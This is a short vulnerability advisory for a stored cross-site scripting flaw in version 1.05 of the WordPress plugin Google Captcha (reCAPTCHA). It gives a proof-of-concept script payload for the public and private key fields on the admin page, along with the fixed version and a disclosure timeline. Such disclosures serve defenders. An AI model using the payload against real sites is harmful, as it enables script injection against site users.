Plugin Name : Google Captcha (reCAPTCHA)
Effected Version : 1.05 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
The following fields put the payload as below
http://localhost/wp-admin/admin.php?page=google-captcha.php
gglcptch_public_key = ?><script>alert(1)</script>
gglcptch_private_key = ?><script>alert(2)</script>
Vulnerable Parameter : gglcptch_public_key, gglcptch_private_key
Type of XSS : Stored
Fixed in : 1.06
http://wordpress.org/plugins/google-captcha/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
The Google Captcha plugin allows you to implement a super security captcha form into web forms. Google Captcha is a free CAPTCHA service that helps to digitize books, newspapers and old time radio shows. This captcha can be used for login, registration, password recovery, comments forms.